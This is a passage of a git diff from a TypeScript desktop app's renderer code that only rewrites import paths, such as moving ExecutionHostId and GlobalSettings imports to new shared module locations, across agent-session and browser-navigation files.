close-before-create. Local window-owned builds retain tombstones until layout-owner phase F. -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { hasStructuredAgentLaunchCancellationTombstonePersisted, markStructuredAgentLaunchCancelledPersisted, diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.test-fixture.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.test-fixture.ts index 7e783b3ddeb..946dbf23e7a 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.test-fixture.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.test-fixture.ts @@ -1,7 +1,7 @@ import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agent-statuses' // @vitest-environment happy-dom import { vi, type Mock } from 'vitest' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { AgentJournalSubmission } from '../../../../../shared/agent-session/journal/agent-session-journal-types' import type { AgentSessionHistoryPage } from '../../../../../shared/agent-session/agent-session-wire' import { diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-intent.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-intent.ts index 71141eea25e..6740782e518 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-intent.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-intent.ts @@ -29,7 +29,7 @@ import './structured-agent-session-launch-create-call' import type { StructuredLaunchSurfaceAddress } from './structured-agent-session-launch-record' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' export type StructuredAgentSessionLaunchIntent = { sessionId: string diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence.ts index 73c467eb763..599118d4444 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence.ts @@ -10,7 +10,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' const LAUNCH_STORAGE_KEY = 'orca:structuredAgentLaunches:v1' const TOMBSTONE_STORAGE_KEY = 'orca:structuredAgentLaunchCancelledSessions:v1' diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication.ts index 1554d910792..8eb9f2073cf 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-publication.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { deleteStructuredAgentLaunchRecord, diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-record.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-record.ts index e1085627ea4..3991f85cdb7 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-record.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-record.ts @@ -1,8 +1,8 @@ import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config' import { isAgentSessionOptions } from '../../../../../shared/agent-session/lifecycle/agent-session-record' import { SendBodyStructure } from '../../../../../shared/rpc-contract/structured-agent-session/structured-agent-session-message-params' -import { parseExecutionHostId } from '../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { StructuredAgentSessionFirstMessage, diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-registry.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-registry.ts index 38edd1c1ee0..61d82a560b6 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-registry.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-registry.ts @@ -7,7 +7,10 @@ import type { StructuredAgentSessionForkSource, StructuredAgentSessionResumeSource } from '../../../../../shared/agent-session/structured-agent-session-create' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { hasStructuredAgentLaunchCancellationTombstonePersisted, readStructuredAgentLaunchRecord diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-surface.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-surface.ts index 1c2bedd346b..bec3eb3192d 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-surface.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-surface.ts @@ -6,7 +6,10 @@ import '../../workspace/ownership/workspace-catalog-owner-index' import { findIndexedRepoOwner } from '../../workspace/ownership/repo-owner-index' import { folderWorkspaceToWorktree } from '../../../../../shared/folder-workspaces/folder-workspace-worktree' import type { Tab } from '../../../../../shared/workspace-layout/tab-groups/tab-types' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import { defaultAgentChatLabel } from '../../../../../shared/agent-session/agent-session-chat-label' import { structuredAgentSessionTabId } from '../../../../../shared/agent-session/view/structured-agent-session-projection' diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck.ts index 73d90f3339d..d6712e9a2c0 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store/index' import { confirmStructuredLaunchFirstMessagePublication } from './structured-agent-session-launch-publication-confirmation' import { retryStructuredAgentSessionLaunch } from './structured-agent-session-launch' diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.ts index e94c13febfb..f7413d89002 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.ts @@ -58,7 +58,7 @@ import { import { releaseStructuredLaunchSource } from './structured-agent-session-launch-source-handoff' import * as launchDraft from './structured-agent-session-launch-draft' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { abandonStructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-abandon' import { adoptPairedHostSeed } from './structured-agent-session-launch-host-seed' diff --git a/src/renderer/src/lib/agent-session/resume/agent-resume-launch-target.ts b/src/renderer/src/lib/agent-session/resume/agent-resume-launch-target.ts index 792101a0060..d001baa8125 100644 --- a/src/renderer/src/lib/agent-session/resume/agent-resume-launch-target.ts +++ b/src/renderer/src/lib/agent-session/resume/agent-resume-launch-target.ts @@ -1,6 +1,6 @@ import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace' import { REMOTE_RUNTIME_PTY_HONOURS_TAB_SHELL_OVERRIDE } from '@/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-shell' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status' import { isWslUncPath } from '../../../../../shared/file-access/wsl-paths' import { isWindowsAbsolutePathLike } from '../../../../../shared/file-access/cross-platform-path' diff --git a/src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.ts b/src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.ts index b01b677f07e..5df0cf8fc05 100644 --- a/src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.ts +++ b/src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.ts @@ -11,7 +11,7 @@ import { type AiVaultPrepareSessionResumeResult } from '../../../../../../shared/ai-vault/resume/ai-vault-resume-preparation' import type { RuntimeStatus } from '../../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' import { prepareAiVaultSessionForFork } from '../history/ai-vault-session-resume-preparation' import { aiVaultSessionListArgs } from '@/components/right-sidebar/ai-vault/scanning/ai-vault-session-list-request' diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-antigravity-reference-host.test.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-antigravity-reference-host.test.ts index b9b57c914dc..6950c2e09c5 100644 --- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-antigravity-reference-host.test.ts +++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-antigravity-reference-host.test.ts @@ -5,8 +5,8 @@ import { resolveAiVaultSessionLaunchTarget } from '@/components/right-sidebar/ai import type { buildAiVaultResumeStartupForWorktree } from './ai-vault-resume-command' import { getAiVaultResumeWorkspaceWslDistro } from './ai-vault-resume-shell' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' -import { createGlobalSettingsFixture } from '../../../../../../shared/global-settings-test-fixture' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' +import { createGlobalSettingsFixture } from '../../../../../../shared/settings/global-settings-test-fixture' vi.mock('@/lib/workspace/creation/new-workspace', () => ({ CLIENT_PLATFORM: 'win32' })) vi.mock('@/app-shell/platform/renderer-app-platform', () => ({ diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-antigravity-reference-startup.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-antigravity-reference-startup.ts index a4e85c5ece2..f740d0c294f 100644 --- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-antigravity-reference-startup.ts +++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-antigravity-reference-startup.ts @@ -10,7 +10,7 @@ import { resolveAgentStartupPlanInputs } from '../../../../../../shared/agent-la import { buildAgentStartupPlan } from '../../../../../../shared/agent-launch/startup/tui-agent-startup' import type { AgentLaunchProfileSettings } from '../../../../../../shared/agent-launch/choices/tui-agent-launch-defaults' import type { AgentStartupShell } from '../../../../../../shared/agent-launch/startup/tui-agent-startup-shell' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { buildAiVaultResumeStartupForWorktree } from './ai-vault-resume-command' import type { AiVaultResumeStartup } from '../../../../../../shared/ai-vault/resume/ai-vault-resume-startup' diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-platform.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-platform.ts index a7418155b01..f179ed669a4 100644 --- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-platform.ts +++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-platform.ts @@ -3,7 +3,7 @@ import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' import { getAiVaultResumeWorkspacePath } from '@/lib/agent-session/resume/history/ai-vault-resume-shell' import { resolveWorktreeExecutionHostPlatform } from '@/runtime/hosts/platform/execution-host-facts' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { parseWslUncPath } from '../../../../../../shared/file-access/wsl-paths' export type AiVaultResumePlatformState = Parameters[0] diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-shell.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-shell.ts index 4a27c4616f9..7a01dbcb476 100644 --- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-shell.ts +++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-shell.ts @@ -2,7 +2,7 @@ import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/prefligh import '../../../workspace/ownership/folder-workspace-connection' import { findFolderWorkspaceCandidateRepos } from '../../../../../../shared/folder-workspaces/folder-workspace-execution-host' import { getAiVaultResumeWorkspaceExecutionHostId } from './ai-vault-resume-target' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace' import { resolveLocalWindowsTerminalShellOverrideForTab } from '../../../../../../shared/shell/launch/local-windows-terminal-runtime' import { resolveWindowsShellStartupFamily } from '../../../../../../shared/shell/launch/windows-terminal-shell' diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-target.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-target.ts index 693acdb1f81..df1378077b1 100644 --- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-target.ts +++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-target.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getAiVaultResumeWorkspaceExecutionHostId as getWorkspaceExecutionHostId, getAiVaultResumeWorkspaceTargetStatus as getWorkspaceTargetStatus, diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-drag.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-drag.ts index 953f19971db..493f03d3fb2 100644 --- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-drag.ts +++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-drag.ts @@ -7,7 +7,7 @@ import { measureUtf8ByteLength } from '../../../../../../shared/text/utf8-byte-l import { normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' export const AI_VAULT_SESSION_DRAG_TYPE = 'application/x-orca-ai-vault-session' export const AI_VAULT_SESSION_DRAG_START_EVENT = 'orca-ai-vault-session-drag-start' diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-fork-startup.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-fork-startup.ts index 8658e85525b..5f56fa947b5 100644 --- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-fork-startup.ts +++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-fork-startup.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AiVaultAgent } from '../../../../../../shared/ai-vault/contracts/ai-vault-types' import { assertAiVaultCopiedSessionStoreAllowed, diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-resume-preparation.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-resume-preparation.ts index 20c17dcf9eb..f7567432d1d 100644 --- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-resume-preparation.ts +++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-session-resume-preparation.ts @@ -18,7 +18,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, parseRoutableExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { browseRuntimeServerDirectory } from '@/runtime/files/reads/runtime-server-directory-browser' import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result' import { getRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision' diff --git a/src/renderer/src/lib/agent-session/resume/sleeping-record-execution-host-scope.ts b/src/renderer/src/lib/agent-session/resume/sleeping-record-execution-host-scope.ts index a039b9ab8f8..30e52022796 100644 --- a/src/renderer/src/lib/agent-session/resume/sleeping-record-execution-host-scope.ts +++ b/src/renderer/src/lib/agent-session/resume/sleeping-record-execution-host-scope.ts @@ -5,8 +5,8 @@ import { toSshExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +} from '../../../../../shared/execution-host/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' diff --git a/src/renderer/src/lib/agent-session/structured-agent-session-provisional-tab.ts b/src/renderer/src/lib/agent-session/structured-agent-session-provisional-tab.ts index e88eb507efd..b4257627230 100644 --- a/src/renderer/src/lib/agent-session/structured-agent-session-provisional-tab.ts +++ b/src/renderer/src/lib/agent-session/structured-agent-session-provisional-tab.ts @@ -13,7 +13,7 @@ import type { StructuredAgentLaunchHooks } from './launch/continuation/structured-agent-launch-settlement' import { useAppStore } from '@/store/index' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { beginHostAdmittedStructuredLaunch, type DeclinedStructuredLaunchTerminalOptions, diff --git a/src/renderer/src/lib/browser/cookies/browser-google-cookie-clear.ts b/src/renderer/src/lib/browser/cookies/browser-google-cookie-clear.ts index afbb9474135..1e9950a4b42 100644 --- a/src/renderer/src/lib/browser/cookies/browser-google-cookie-clear.ts +++ b/src/renderer/src/lib/browser/cookies/browser-google-cookie-clear.ts @@ -7,7 +7,10 @@ import { BROWSER_GOOGLE_COOKIE_CLEAR_CAPABILITY } from '../../../../../shared/br import type { ConfirmationDialogContextValue } from '@/components/confirmation-dialog-context' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' import { useAppStore } from '@/store/index' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { translateBrowserSessionProfileLabel } from '@/lib/browser/profiles/browser-session-profile-label' import { getRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision' diff --git a/src/renderer/src/lib/browser/documents/file-preview-link-open.ts b/src/renderer/src/lib/browser/documents/file-preview-link-open.ts index f74339c50c1..023a9f5930a 100644 --- a/src/renderer/src/lib/browser/documents/file-preview-link-open.ts +++ b/src/renderer/src/lib/browser/documents/file-preview-link-open.ts @@ -1,8 +1,11 @@ import { resolveBrowserLinkSession } from '../navigation/browser-link-session' import { activateAndRevealWorkspace } from '../../workspace/activation/worktree-activation' import type { AppState } from '@/store/types' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' -import '../../../../../shared/constants' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../shared/browser/browser-blank-page' import type { WorkspaceFilePreviewPlan } from './file-preview' import type { diff --git a/src/renderer/src/lib/browser/documents/file-preview.ts b/src/renderer/src/lib/browser/documents/file-preview.ts index a215de073ea..60200d24593 100644 --- a/src/renderer/src/lib/browser/documents/file-preview.ts +++ b/src/renderer/src/lib/browser/documents/file-preview.ts @@ -18,7 +18,7 @@ import { } from '@/lib/browser/documents/workspace-file-browser-open-target' import { useAppStore } from '@/store/index' import { findSiblingGroupId } from '../../../../../shared/workspace-layout/tab-groups/tab-group-layout-tree' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../shared/browser/browser-blank-page' import { selectFolderWorkspaces, diff --git a/src/renderer/src/lib/browser/navigation/browser-link-destination.ts b/src/renderer/src/lib/browser/navigation/browser-link-destination.ts index d1db4551a75..44fc3edcd21 100644 --- a/src/renderer/src/lib/browser/navigation/browser-link-destination.ts +++ b/src/renderer/src/lib/browser/navigation/browser-link-destination.ts @@ -17,7 +17,7 @@ import type { BrowserPageDocLocation, BrowserWorkspace } from '../../../../../shared/browser/workspaces/browser-workspace-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { TabSplitTarget } from '@/store/slices/tabs/tabs-slice-contract' export type BrowserLinkDestination = { diff --git a/src/renderer/src/lib/browser/navigation/browser-link-open.test.ts b/src/renderer/src/lib/browser/navigation/browser-link-open.test.ts index 47c0d1afc6c..71aae5564f4 100644 --- a/src/renderer/src/lib/browser/navigation/browser-link-open.test.ts +++ b/src/renderer/src/lib/browser/navigation/browser-link-open.test.ts @@ -15,7 +15,7 @@ import { } from './browser-link-open.test-fixture' import type { BrowserLinkTestStore } from './browser-link-open.test-fixture' import { openWorkspaceBrowserTabForLink } from '../workspace/workspace-browser-tab-open' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/input/browser-focus' const mocks = vi.hoisted(() => ({ getState: vi.fn() })) diff --git a/src/renderer/src/lib/browser/navigation/browser-link-owner.ts b/src/renderer/src/lib/browser/navigation/browser-link-owner.ts index 6a8a4f4509e..18a7cb512eb 100644 --- a/src/renderer/src/lib/browser/navigation/browser-link-owner.ts +++ b/src/renderer/src/lib/browser/navigation/browser-link-owner.ts @@ -1,5 +1,5 @@ import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { authorityKey } from '../../../../../shared/execution-host/host-authority' import { isExecutionHostAliasForWorktree } from '../../workspace/ownership/worktree-execution-host-alias' import { resolveOwner } from '../../workspace/ownership/resolve-owner' diff --git a/src/renderer/src/lib/browser/navigation/browser-link-session.ts b/src/renderer/src/lib/browser/navigation/browser-link-session.ts index 75f2424a27d..a7faea32128 100644 --- a/src/renderer/src/lib/browser/navigation/browser-link-session.ts +++ b/src/renderer/src/lib/browser/navigation/browser-link-session.ts @@ -1,8 +1,11 @@ import type { AppState } from '@/store/types' import type { BrowserWorkspace } from '../../../../../shared/browser/workspaces/browser-workspace-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' -import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId } from '../../../../../shared/execution-host' -import '../../../../../shared/constants' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_PARTITION } from '../../../../../shared/browser/browser-session-partition' import { getOrcaProfileBrowserDefaultPartition } from '../../../../../shared/orca-profiles/orca-profiles' import { resolveNewBrowserTabProfile } from '@/store/slices/browser/profiles/browser-new-tab-profile' diff --git a/src/renderer/src/lib/browser/navigation/http-link-browser-placement.ts b/src/renderer/src/lib/browser/navigation/http-link-browser-placement.ts index 550c7e11d6c..f6757547af9 100644 --- a/src/renderer/src/lib/browser/navigation/http-link-browser-placement.ts +++ b/src/renderer/src/lib/browser/navigation/http-link-browser-placement.ts @@ -8,7 +8,7 @@ import type { TabSplitTarget } from '@/store/slices/tabs/tabs-slice-contract' import type { Tab, TabGroup } from '../../../../../shared/workspace-layout/tab-groups/tab-types' import type { OpenWorkspaceBrowserTabRequest } from '../workspace/workspace-browser-tab-open' import type { BrowserWorkspace } from '../../../../../shared/browser/workspaces/browser-workspace-types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' export type HttpLinkBrowserPlacement = { targetGroupId: string } | { split: TabSplitTarget } diff --git a/src/renderer/src/lib/browser/navigation/http-link-in-group-availability.ts b/src/renderer/src/lib/browser/navigation/http-link-in-group-availability.ts index e553ad6d11d..38dec415ac5 100644 --- a/src/renderer/src/lib/browser/navigation/http-link-in-group-availability.ts +++ b/src/renderer/src/lib/browser/navigation/http-link-in-group-availability.ts @@ -15,7 +15,7 @@ import { selectBrowserLinkDestination } from './browser-link-destination' import { parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { AppState } from '@/store/types' import type { HttpLinkGroupActionRequest } from './http-link-routing' diff --git a/src/renderer/src/lib/browser/navigation/http-link-routing.ts b/src/renderer/src/lib/browser/navigation/http-link-routing.ts index 45b6b99dbe8..c1365087697 100644 --- a/src/renderer/src/lib/browser/navigation/http-link-routing.ts +++ b/src/renderer/src/lib/browser/navigation/http-link-routing.ts @@ -27,8 +27,8 @@ import type { HttpLinkBrowserTabState } from './http-link-browser-placement' import { resolveModifierRouting } from './http-link-modifier-routing' import type { WorkspacePortScanResult } from '../../../../../shared/workspace/ports/workspace-ports' import type { AppState } from '@/store/types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { OpenHttpLinkOptions, WorkspaceHttpLinkBrowserOpener } from './http-link-destinations' function settleHttpLinkBrowserOpen( diff --git a/src/renderer/src/lib/browser/palette/browser-page-palette-activation.ts b/src/renderer/src/lib/browser/palette/browser-page-palette-activation.ts index 307e0316229..9d68721d150 100644 --- a/src/renderer/src/lib/browser/palette/browser-page-palette-activation.ts +++ b/src/renderer/src/lib/browser/palette/browser-page-palette-activation.ts @@ -3,7 +3,7 @@ import { activateBrowserWorkspaceTab, getActivatableBrowserWorkspaceTab } from '@/lib/browser/workspace/browser-workspace-tab-activation' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { isBlankBrowserUrl } from './browser-palette-search' import { activateAndRevealWorkspace } from '../../workspace/activation/worktree-activation' diff --git a/src/renderer/src/lib/browser/palette/browser-palette-page-entries.ts b/src/renderer/src/lib/browser/palette/browser-palette-page-entries.ts index 3f07853516a..26438607345 100644 --- a/src/renderer/src/lib/browser/palette/browser-palette-page-entries.ts +++ b/src/renderer/src/lib/browser/palette/browser-palette-page-entries.ts @@ -7,7 +7,7 @@ import type { WorkspaceVisibleTabType } from '../../../../../shared/workspace-layout/tab-groups/tab-types' import type { Worktree } from '../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getPaletteWorktreeIdentity, isPaletteCurrentWorktree, diff --git a/src/renderer/src/lib/browser/palette/browser-palette-search.ts b/src/renderer/src/lib/browser/palette/browser-palette-search.ts index f9183420d2f..5660b6ed198 100644 --- a/src/renderer/src/lib/browser/palette/browser-palette-search.ts +++ b/src/renderer/src/lib/browser/palette/browser-palette-search.ts @@ -1,4 +1,4 @@ -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../shared/browser/browser-blank-page' import type { BrowserPage, @@ -18,7 +18,7 @@ import { resolveWorktreeBranchLabel, resolveWorktreeDisplayName } from '../../workspace/display/worktree-default-display-name' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { MatchRange } from '../../../../../shared/palette-match/normalized-text' import type { PaletteDocument, diff --git a/src/renderer/src/lib/browser/workspace/browser-workspace-tab-activation.ts b/src/renderer/src/lib/browser/workspace/browser-workspace-tab-activation.ts index a0506fdb68e..30ed11b7631 100644 --- a/src/renderer/src/lib/browser/workspace/browser-workspace-tab-activation.ts +++ b/src/renderer/src/lib/browser/workspace/browser-workspace-tab-activation.ts @@ -4,7 +4,7 @@ import { } from '../../../../../shared/workspace/identity/floating-workspace-worktree' import { useAppStore } from '@/store/index' import type { Tab } from '../../../../../shared/workspace-layout/tab-groups/tab-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { findAmbiguousWorktreeIds, getPaletteOwnershipWorktreeIds, diff --git a/src/renderer/src/lib/browser/workspace/ssh-workspace-browser-route-eligibility.ts b/src/renderer/src/lib/browser/workspace/ssh-workspace-browser-route-eligibility.ts index 6f10540085a..3e3a63dfdca 100644 --- a/src/renderer/src/lib/browser/workspace/ssh-workspace-browser-route-eligibility.ts +++ 